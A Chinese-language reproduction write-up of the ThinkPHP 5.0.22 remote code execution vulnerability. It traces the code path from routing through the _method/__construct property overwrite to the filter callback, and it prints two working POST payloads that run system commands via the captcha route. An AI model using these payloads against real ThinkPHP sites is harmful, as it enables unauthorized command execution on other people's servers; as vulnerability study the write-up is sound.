漏洞概要
漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。
环境搭建:
Phpstudy:
- OS:
Windows - PHP:
7.3.4 - ThinkPHP:
5.0.22
POC
http://xxxxxx.xxx/public/?s=captcha
Body
_method=__construct&filter[]=system&method=get&get[]=whoami
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
复现分析
POC 1
调试分析,Thinkphp的程序是从App.php 开始的,在App::run 中,先通过$dispatch = self::routeCheck($request, $config); 对路由进行检测
在该方法中,又调用了Route::check 方法,跟进
存在$method = strtolower($request->method()); ,跟进method 方法,进入了Request.php
默认$method = false 时进入分支条件
注意到:$this->method = strtoupper($_POST[Config::get('var_method')]);
这里的var_method 对应_method ,在Config.php 中
$method 来自可控的 $_POST 数组,而且在获取之后没有进行任何检查,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST 。也就相当于可以随意调用 Request 类的部分方法。
我们传入的参数:_method=__construct&filter[]=system&method=get&get[]=whoami
它会调用__construct 方法,而该方法中有类属性覆盖功能
那么在结束method方法时,我们需要返回参数$this->method 为get
继续分析
进入了exec方法,?s=captcha 就可以让$dispatch['type'] 是method
在 ThinkPHP5 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 vendor 目录下的文件加载,这样在 GET 方式中便多了这一条路由。我们便可以利用这一路由地址,使得 $dispatch['type'] 等于 method ,从而完成 远程代码执行 漏洞。
进入Request::instance()->param()
$this->param 通过array_merge 将当前请求参数和URL地址中的参数合并。
跟进get方法
由于之前的变量覆盖get有值
所以会进入input 方法
它返回了get数组值,而$this->param 也会有值
接着我们再次进入input方法
进入解析过滤器
发现是通过$filter 参数获取的方法,由之前的变量覆盖
那么array_walk_recursive($data, [$this, 'filterValue'], $filter); 会调用filterValue 方法
之后就通过回调函数进行RCE
该调用链的payload:
http://xxxxxx.xxx/public/?s=captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=whoami
POC 2
跟进一下method() 方法,这里的$method 是true:
继续跟进server 方法
这里也有input方法
return $this->server('REQUEST_METHOD') ?: 'GET';
这里的name为REQUEST_METHOD ,第一个参数$this->server 可以利用之前__construct() 方法进行属性覆盖,设置server[REQUEST_METHOD]=whoami ,之后会调用到getFilter() ,于是分析思路和上一个相似,最终调用回调函数进行RCE
总结
来自一位师傅:
该复现过程基本是跟着Y4师傅来的,很多地方现在理解也不是很清楚,希望以后能继续完善吧!
继续努力!
|